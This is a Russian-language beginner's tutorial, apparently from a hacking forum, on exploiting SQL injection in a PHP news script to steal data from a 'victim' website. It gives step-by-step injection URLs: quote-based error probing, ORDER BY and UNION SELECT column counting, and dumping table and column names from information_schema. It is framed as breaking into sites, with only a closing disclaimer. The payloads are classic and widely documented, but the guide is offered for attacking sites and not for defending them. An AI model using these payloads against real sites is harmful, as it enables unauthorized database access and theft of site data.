Здравствуйте, уважаемые читатели. Перед вами пошаговае руководство по SQL Injection для новичков. Здесь я попытаюсь очень просто объяснить как украсть нужную нам информацию. Эта статья является как бы итогом множества других статей, вопросов, ответов, практики итд итп. Написал я эту статью чтобы хоть как то облегчить труды новичков в нашем нелегком деле. Итак, начнем. ---------------------- ОБНАРУЖЕНИЕ ---------------------- Предположим у нас есть цель взломать тот или иной сайт. Иными словами у нас есть жертва. Пусть это будет http://www.victim.com. Как узнать можно ли провести SQL Injection? Чтобы провести иньекцию надо сначала найти скрипт в котором есть нефильтруемая переменая. Предроложим на сайте есть скрипт news.php через который выводятся, например новости. Предположим у нас есть ссылка на "Новость #1", и ссылка эта такого вида: http://www.victim.com/news.php?id=1. Есть также ссылка на "Новость #2" имеющяя сылку вида: http://www.victim.com/news.php?id=2.
Признак возможности провести по SQL Injection номер 1: В адресной строке вместо этого адреса http://www.victim.com/news.php?id=1 вот этот http://www.victim.com/news.php?id=1'. Если на экран выводится сообщение об ошибке такого: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY ndate DESC LIMIT 0, 5' at line 1 или такого вида*: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/merlin/data/www/www.merlin-worlds.ru/news/news.php on line 569 то SQL Injection возможна.
Признак возможности провести по SQL Injection номер 2: Если содержимое http://www.victim.com/news.php?id=1 то же что и у http://www.victim.com/news.php?id=2-1 то SQL Injection возможна.
Из всего этого понятно что нефильтруемая переменая id и именно ей мы будем присваивать наши запросы.
--------- ПОЛЯ --------- Для начала мы должны узнать количество полей в таблице и узнать значение какого поля высвечивается, чтобы потом через это поля выудить информацию. Сделать это можно двумя способами. Способ первый: Банально перебирая количество полей, пока сообщение об ошибке не исчезнет. Пример: http://www.victim.com/news.php?id=1+union+select+1,2,3,4/* и так далее.
Способ второй: С помощью оператора ORDER BY, который формирует порядок сортировки полей по номеру (и не только), поля, т.е если выражение: http://www.victim.com/news.php?id=1+order+by+5/* не выдаст ошибку - это значит что в запросе используется как минимум 5 полей. Ввожу еще одно выражение: http://www.victim.com/news.php?id=1+order+by+13/* Это выражение выполнится с ошибкой, т.к. 13 -го поля не существует и теперь нам известно что полей в выражении не меньше 5 и не больше 12. Выбираю любое число из этого диапазона (примерно среднее): http://www.victim.com/news.php?id=1+order+by+8/* Ошибки нет, а это значит что количество полей находится в диапазоне от 8 до 12, Еще раз: http://www.victim.com/news.php?id=1+order+by+10/* Ошибка!. т.е количество полей или 8 или 9, остается только попробывать: http://www.victim.com/news.php?id=1+order+by+9/* Ошибки нет. Т.о. мы узнали что количество полей равно 9. Получаем определенную информацию. Т.к. мы знаем что у нас 9 полей мы можем составить работающее выражение: http://www.victim.com/news.php?id=1+union+select+1,2,3,4,5,6,7,8,9/*.
Итак, мы узнали количество полей. Их 9. Предположим что высвечивается значения 1, 2 и 3 поля.
----------- ИМЕНА ----------- Чтобы вытянуть информацию нужно сначала узнать имена таблиц и полей. Ну чтож, начнем. Есть такая замечательная БД INFORMATION_SCHEMA и в ней есть замечательная таблица TABLES и в ней есть замечательные поля TABLE_SCHEMA и TABLE_NAME. Вот с их помощю мы и узнаем имена таблиц. Вот запрос: http://www.victim.com/news.php?id=1+union+select+table_schema,table_name,3,4,5,6,7,8,9+from+information_schema.tables. Теперь в нашем броузере отобрязятся все таблицы Базы Данных. Остается узнать имена полей. Для этого набираем в адресной строке http://www.victim.com/news.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9+from+information_schema.columns. Как можно увидеть мы поставляем имена полей вместой той цифры которая отображается на экране. ----------- ПОСЛЕСЛОВИЕ ----------- Также хотелось бы вам рассказать о двух вещях. Первое:оператор LIMIT. Если все проходит не так гладко как хотелось бы то в самом конце запроса мы добавляем LIMIT a,b что означает показать b записей начиная от а. Второе:Коментарий /*. Если и лимит не помог то попробуйте в самом конце запроса поставить символ комментария. Вот собственно и все дорогие мои :) ------------- БЛАГОДАРНОСТИ ------------- Хотелось бы поблагодарить впервую очердь хакзону, потом всех авторов которые публикются на ней, потом всех новичков которые задают вопросы, и конечно всех кто отвечает этим вопросам. Именно благодаря вам была написана эта статья :) Отдельная благодарность Warag a.k.a. EuGen за его терпеливость. Warag a.k.a. EuGen я тя оч-оч уважаю и оч-оч благодарен за все :) Ну и напоследок: Статья не является побуждением к действию. Это только для ознакомительных целей. Автор не несет ответственности за действия которые были после прочтения данной статьи.
|